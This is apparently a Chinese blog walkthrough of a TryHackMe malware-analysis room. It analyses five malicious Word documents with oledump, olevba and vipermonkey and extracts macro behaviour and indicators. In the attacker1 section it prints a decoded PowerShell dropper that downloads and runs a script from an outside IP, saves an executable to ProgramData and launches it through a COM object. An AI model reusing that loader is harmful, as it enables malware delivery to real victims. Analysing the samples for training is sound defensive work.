0%

THM打靶日寄66-Squid Game

  • 准备工作
    点进去发现有五个 doc 文档,分别是 attacker1-5 ,可以考虑开一个 python服务器把文件导出来

    引入一个很好的工具 oledump,其用于分析复合二进制格式的文件 (.doc .xls .ppt) 中包含的数据流,而 .docx .xlsx则是新的文件格式(ZIP内的xml)

    作者博客/使用文档

  • attacker1

    先检查数据流:

    其中前面标有 M 的表示该流包含 VBA

    根据文档,使用 -s [流编号] 输出指定流的内容,-v 输出 vba 宏代码

    那么有宏的流为 8 ,名称为 ThisDocument

    可以看到代码被混淆了,扔给ai,分析出来是利用 autoopen() 在word打开时执行powershell指令来下载恶意脚本,其中注意到这句:

    1
    Trim(Replace(pNHbvwXpnbZvS.AlternativeText + "", "[", "A"))

    其将所有 [ 替换为 A

    看看别的流,用 -S 仅输出字符串而不输出16进制

    这里有手机号 213-446-1757

    而对于数据流4,其中有一个混淆过的 powershell 命令,而其中恰有一堆 [

    解码一下,注意要删掉零字节:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    $instance = [System.Activator]::CreateInstance("System.Net.WebClient");
    $method = [System.Net.WebClient].GetMethods();
    foreach($m in $method){

    if($m.Name -eq "DownloadString"){
    try{
    $uri = New-Object System.Uri("http://176.32.35.16/704e.php")
    IEX($m.Invoke($instance, ($uri)));
    }catch{}

    }

    if($m.Name -eq "DownloadData"){
    try{
    $uri = New-Object System.Uri("http://fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas")
    $response = $m.Invoke($instance, ($uri));

    $path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe";
    [System.IO.File]::WriteAllBytes($path, $response);

    $clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
    $type = [Type]::GetTypeFromCLSID($clsid)
    $object = [Activator]::CreateInstance($type)
    $object.Document.Application.ShellExecute($path,$nul, $nul, $nul,0)

    }catch{}
    }
    }

    Exit;

    拿到 C2 域中下载的文件 fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas ,想要生成的文件 QdZGP.exe,ip和php页面 176.32.35.16/704e.php

    对于投放的文件夹,显然和 $path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe" 有关,搜了一下在 C:\ProgramData ,即 %ProgramData%

    想要连接的 com 的名称借助这个网址clsid 得到: ShellBrowserWindow

    根据 hintolevba 得到 autoexec

    file 拿到 subject 和日期

    West Virginia Samanta

    日期需要用 oletimes 来看,和 file 看的差30秒

    2019-02-07 23:45:30

  • attacker2

    故技重施得到

    携带宏的是 12, 13, 14, 16

    -i 参数输出关于流的信息

    引入另一个工具 olevba

    grep 读取里面的 fun 内容

    同样,olevba 末尾的表格会帮你总结出一些东西

    两个域名,第一个dll名称和dll个数都在这里

    继续用 grep 'dll' 找到其的路径以及用来运行dll的文件名

    睡眠时长那里需要 grep 'Sleep' 才行

    从哪个流的话就 grep 'stream' ,真是酣畅淋漓的解密啊

  • attacker3

    要下载的可执行程序名,故技重施 grep 'exe'

    olevba 分析得到:

    即运行1.exe的程序是 certutil,存放到 programdata ,该流VBA/T是 A3

    恶意url那个在LG后面那堆加密的里面,引入一个新工具 vipermonkey,注意用 python2 启动

  • attacker4

    olevba 看一下,锁定到这里:

    使用了预定义密钥对字符串进行异或,前者是密文,后者是密钥

    被丢弃的文件应该是最后一个,那么就是这个

    同理得到 \DYIATHUQLCW.exe

    然后 vmonkey 启动:

    全秒了。。。

  • attacker5

    恶意文档的标题,用 oledump 一个个看:

    然后直接vmonkey启动,分析出来一长串加密的powershell命令,试了试是base64

    还有加密,再扔回去,自动识别出是 gzip

    异或的十进制:

    用这个作为密钥勉强解密出其上面那段powershell命令

    拿到 C2:176.103.56.89 UA:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)

    这确实是一个shell文件,需要下到本地用 shellcodedebugger 来做

    这玩意找了半天只有windows的gui版:http://sandsprite.com/CodeStuff/scdbg.zip

    把下载的 .dat 扔进去,那个 /SjMR 是存的路径。。。